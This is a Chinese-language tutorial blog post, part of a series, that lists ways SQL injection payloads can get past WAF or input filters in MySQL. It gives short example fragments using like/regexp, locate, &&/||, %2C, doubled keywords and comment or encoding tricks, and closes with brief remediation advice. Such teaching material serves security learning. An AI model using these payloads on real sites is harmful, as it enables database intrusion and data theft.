SQL注入【ByPass总结】(八)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、前言

本文是SQL注入分享终结前篇,整理一些针对ByPass替换方法,和对应SQL注入修复建议。最后一篇ByPass靶场5关实战,会有点难,包含写成wp前后我花了5~6小时,而且内容有些多,所以以单独一篇分享。希望对大家在学习理解SQL注入有帮助。

像Access,MSSQL、Oracle注入我自己也没做靶场实验就不做分享了,大家如果感兴趣的话,可以网上搜索了解学习下。

1、常见ByPass

1.1、等号被过滤
1. 使用 >, <, <> 替换
and ascii(substr(database(),1,1))>xxx

2.采用like, rlike语句
and database() like 't%'
注: rlike的内容为正则,正则写法与java一致,需要转义,例如’ \n’ 需要使用’ \\n’

3.采用regexp,in,between
and database() regexp 'test.*'
Regexp函数使用方法与rlike类似,都是正则匹配
and database() in ('test')
and substr(database(),1,1) BETWEEN 't' and 't'
1.2、substr、 mid被过滤
1.采用locate,position,instr,lpad,rpad
and LOCATE('e',database())in('2')
and LOCATE('t',database(),4)in('4')

注:
locate(str1,str2)
返回str1字符串在str2里第一次出现的位置,没有返回0
Locate(str1,str2,pos)
返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0
pos必须大于第一次出现的位置,才能显示第二次出现的位置
1.3、逗号被过滤
1.采用%2C
id= -1' union select 1%2C2%2C3--+

2.采用from xx for xx, from(x)
and substr(database()from 2 for 1)='e'
1.4、and/or被过滤
1.使用&&、 ||或者like
&& substr(database(),1,1)='t'
|| substr(database(),1,1)='t'
like+if(substr(database(),1,1)='s',1,0)=1--+(此处的like需要结合判断函数使用)

注:在mysql中 and与or 是可以用 &&和||相互代替的
如: and 1=1 ->&& 1=1 or 1=1 ->||1=1
不过在oracle中, ||为拼接字符,如: ’a’||’b’->’ab’,相当于mysql中的concat()
1.5、关键字被过滤
1.大小写绕过,如User(), dAtaBASE(), SelEct等。
2.只过滤一次时,双重关键字绕过,如selselectect, ununionion, oorr等。
3.and/or+空格被替换为空时, andand+空格(oror+空格)绕过。
4.注释符绕过, //, -- , /**/, #, --+, -- -, ;,%00,--a, /*!*/。
5.编码绕过:如URLEncode编码, ASCII,HEX,unicode编码绕过。

2、SQL注入修复建议

1.过滤sql相关特殊字符
2.参数化查询
3.使用预编译的存储方式

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值